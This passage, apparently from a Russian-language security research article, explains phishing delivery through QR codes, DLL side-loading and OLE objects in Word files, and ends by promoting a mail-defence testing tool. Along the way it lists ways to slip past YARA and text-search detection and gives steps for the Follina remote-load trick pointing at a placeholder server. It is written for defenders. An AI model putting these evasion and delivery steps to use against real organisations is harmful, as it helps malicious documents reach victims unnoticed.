3.    При использовании QR-кода в виде изображения технология «безопасных ссылок» в почтовых шлюзах не может изменить ссылку для обеспечения дополнительной защиты (некоторые почтовые шлюзы не способны распознавать и читать QR-коды).

4.    Для сканирования QR-кода используются мобильные устройства. Т.е. неконтролируемые персональные девайсы, не подверженные ограничениям безопасности, которые есть на корпоративных устройствах.

Рис_21.jpg
Рисунок 21. Вредоносный QR-код

 

Рис_22.png
Рисунок 22. Кейс использования QR-кода

QR-коды можно использовать для атаки на мобильное устройство жертвы с целью контроля MFA-приложения или реализации более продвинутых и сложных атак. Яркий пример — «Операция Триангуляция», раскрытая коллегами из« Лаборатории Касперского».

Рис_23.png
Рисунок 23. «Операция Триангуляция»

DLL Side-Loading

DLL Side-Loading — метод атаки на Windows-устройства, в рамках которого жертве внедряется вредоносная библиотека DLL вместе с доверенным приложением, которое ее исполняет. Некоторые приложения не проводят проверку библиотек, подгружаемых в их адресное пространство, когда в манифестах Windows Side-by-Side (WinSxS) не указаны явные характеристики загружаемых программой библиотек DLL. Это позволяет подменить штатную библиотеку на вредоносную с аналогичным названием и вызвать ее загрузку.

Процесс DLL Side-Loading выглядит следующим образом: атакующие доставляют на рабочую станцию жертвы как легитимное приложение с необходимыми легитимными DLL-библиотеками, так и вредоносную DLL. При запуске приложению требуется библиотека с соответствующим названием: оно обнаруживает вредоносную DLL, загружает ее и выполняет код в контексте легитимного приложения, что позволяет избегать некоторых механизмов обнаружения вредоносной активности.

Атака DLL Side-Loading близка по методике к подмене DLL (DLL Hijacking), где вредоносный код также находится в библиотеке, загружаемой легитимным приложением. Основное отличие в том, что при классическом DLL Hijacking не проксируются вызовы к легитимной DLL, что нарушает работу приложения, приводя к отображению ошибки у жертвы. При этом не реализуются дополнительные технические меры для штатного запуска приложения без ошибок с полной рабочей функциональностью.

Техника DLL Side-Loading позволяет обойти технологию Mark-of-the-Web и нацелена на затруднение выявления вредоносной активности. Для загрузки вредоносной библиотеки используются легитимные программы с доверенной цифровой подписью, включая ПО от разработчиков СЗИ, обладающее действительными цифровыми сертификатами. Чтобы усложнить обнаружение самой DLL, ее можно доставить в зашифрованном, сжатом или обфусцированном виде.

Техника позволяет доставлять контейнер, состоящий из легитимного приложения и вредоносной библиотеки, без использования User Execution этапа. Например, без использования LNK для запуска бинарного файла в обход предупреждений SmartScreen: легитимное приложение подписано действительным сертификатом и запустится после двойного клика по нему, выполняя заложенную логику из вредоносной библиотеки, но не нарушая работы приложения за счет перенаправления вызовов в легитимную библиотеку.

Рис_24.jpg
Рисунок 24. Схема DLL Side-Loading

Примеры атак с использованием DLL Side-Loading

  • APT32 (OceanLotus/Cobalt Kitty/APT-C-00/SeaLotus) использовали технику DLL Side-Loading для запуска законно подписанных исполняемых файлов от Symantec и McAfee, которые загружали вредоносную DLL.
  • Группировка Lazarus имеет большой арсенал легитимных исполняемых файлов, уязвимых для DLL Side-Loading. Например, легитимное приложение Microsoft wmiapsrv.exe, загружающее вредоносные DLL wbemcomn.dll и netutils.dll.
  • Злоумышленники из Earth Estries используют технику DLL Side Loading в новом HTTP-бэкдоре Zingdoor, написанном на Go. Zingdoor был замаскирован под mpclient.dll и предназначен для запуска через загрузку неопубликованных DLL с использованием двоичного файла защитника Windows msseces.exe
  • Распространители QuasarRAT для достижения своих целей используют технику DLL Side Loading в бинарном файле eBill-997358806.exe. При выполнении бинарного файла он инициирует загрузку вредоносного файла MsCtfMonitor.dll. Кроме того, в папку Public Pictures помещаются следующие файлы: Calc.exe, Secure32.dll и Winsecu32.dll. Затем Calc.exe запускается командой c:\Users\Public\Pictures\Calc.exe/quit, которая запускает вредоносную DLL и внедряет в память компьютера полезную нагрузку QuasarRAT.

Почему же не справляются средства защиты

В крупных компаниях не всегда получается использовать поведенческий анализ. А если и получается, важно, чтобы он поддерживал все окружение компании. Но представьте, если в это окружение входят все версии MS Office (например, вышедшие с 2010 по 2021 гг.), дополнительные пакеты в виде OneNote и вдобавок WordPad. В случае компании-разработчика список дополнят Visual Studio и масса других инструментов, которые «для удобства» устанавливают себе программисты.

Каждый новый формат — это расширение покрытия атаки методом фишинга и возможность лучше таргетироваться под разработчиков или отдел бухгалтерии, чтобы скрыть свое появление в периметре компании. Но это уже дело постэксплуатации... А что со статическим анализом? Грубо добавлю к этому вопросу сигнатурный анализ, эвристику или детект по IoC: они работают быстро, могут легко покрывать компании любого масштаба, отобьют малварь, которая рассылается одновременно по тысячам организаций, но при целевой атаке справляются плохо. В качестве примера возьмем офисный документ с OLE-объектом, который выглядит как ярлык Windows и может выполнять произвольный код (в версиях MS Office до 2016). Поскольку я уже дед, возьму то, что рассылал еще в 2018 г., зато будет наглядно :)

Рисунок 25. При двойном клике по «Зарплата.docx» будет выполнен код скрипта .bat (в данном случае он запускает калькулятор)

По сути, любой файл .docx представляет собой ZIP-архив с определенной структурой (см. рис. 26).

Рисунок 26. Структура файла .docx

Если мы добавим в файл OLE-объект (например, .bat с запуском msiexec, который скачает и выполнит пакет MSI), структура изменится следующим образом (см. рис. 27).

Рисунок 27. Файл .docx с OLE-объектом

oleObject1.bin — тоже архив с определенной структурой. Исполняемый код, что логично, находится в [1]Ole10Native, что логично (см. рис. 28).

Рисунок 28. Исполняемый код в [1]Ole10Native

Перейдем к тому, какими способами можно отловить такой объект и как хакер может обойти эти детекты.

Проверяем наличие файла

Самый простой способ — проверить наличие файла oleObject*.bin в директории embeddings. Но по факту файл может быть расположен в любой директории, поэтому правила как в этом примере не сработают.

Рисунок 29. YARA-правило для определения наличия OLE-объекта
Рисунок 30. Файл document.xml.rels указывает, что в документе присутствует OLE-объект

Просто меняем директорию. Но можно сделать это умнее:

1.    Часто при написании скриптов-детектов ИБ-специалисты забывают проверять регистронезависимость. Соответственно, 123.BIN может сработать.

2.    Не все СЗИ проверяют архивы с большим количеством вложенных директорий, поэтому можно попытаться положить наш объект сразу в 200 директорий.

3.    В корне .DOCX-файла находится [Content-Types].xml, описывающий все расширения в архиве. Поэтому oleObject.bin может стать файлом с любым расширением, например 112323231.sssss.   
 

Рисунок 31. Описание того, что .bin будет являться OLE-объектом. Но bin можно заменить на что угодно

Проверяем поиском по тексту

Неплохой вариант — проверять наличие строки oleObject в файле word\_rels\document.xml.rels или [Content-Types].xml

Рисунок 32.1. Наличие строки encoding говорит о формате контента файла
Рисунок 32.2. Строка oleObject указывает на то, что в документ встроен OLE-объект

Но поскольку это XML, у нас есть возможность «сломать» этот поиск:

1.    Кодируем в HTML-сущности необходимые строки. oleObject становится oleObject и документ остается рабочим.

2.    Encoding документа может быть не только UTF-8, но и UTF-16 (BE и LE), а также UTF-32 ( BE, LE, 2143, 3412), что может помешать обычному поиску по HEX, поскольку файл будет выглядеть примерно так (см. рис. 33).

Рисунок 33. HEX-представление файла document.xml.rels в кодировке UTF16LE

Ищем файлы по заголовкам

А зачем вообще нужны все вышеперечисленные махинации, если можно просто найти заголовок D0 CF 11 E0 A1 B1 1A E1 и по нему определять наличие OLE в документах? На самом деле этот заголовок встречается не только в OLE. К примеру, это типовой заголовок для файлов .doc или .xls. Но даже если получится написать хорошее правило, в MS Office есть удобная штука в виде необязательного хранения OLE-пакета внутри архива .docx. Можно, к примеру, использовать загрузку из внешнего источника — в этом случае придется проверять еще и ссылки, которые есть в документе. На этой технике построен эксплойт CVE-2022-30190 (он же Follina):

1.    В файле word/_rels/document.xml.rels меняем Target="embeddings/oleObject1.bin" на Target="http://<server>/oleObject1.bin" и добавляем TargetMode="External".

2.    В файл word/document.xml у OLE заменяем Type="Embed" на Type="Link" и добавляем UpdateMode="OnCall".

После этого OLE будет подгружаться по HTTP. Кроме того, можно использовать и другие протоколы Windows и Microsoft Office.

***

Мы рассмотрели три варианта определения вредоносных OLE внутри офисных документов и накидали идей, как их можно обойти. Все эти подходы не дают 100% гарантии детекта, ведь нужно еще определить вредоносное поведение. А некоторые организации вполне могут использовать эти методики в рамках своей легитимной деятельности (например, как с макросами).

Как тестировать свои средства защиты?

Нужно постоянно тестировать, проходят ли вам в почту и обезвреживаются ли в процессе разные вложения и эксплойты, которые позволяют выполнить вредоносный код на конечных рабочих станциях. Для этого мы разработали простой инструмент PT Knockin:

  • Зайдите на knockin.ptsecurity.com.
  • Введите корпоративную почту.
  • Выберите вредоносные семплы.
  • Отправьте письмо и получите рекомендации.

Мы дěлаем Positive Research → для ИБ-экспертов, бизнеса и всех, кто интересуется ✽ {кибербезопасностью}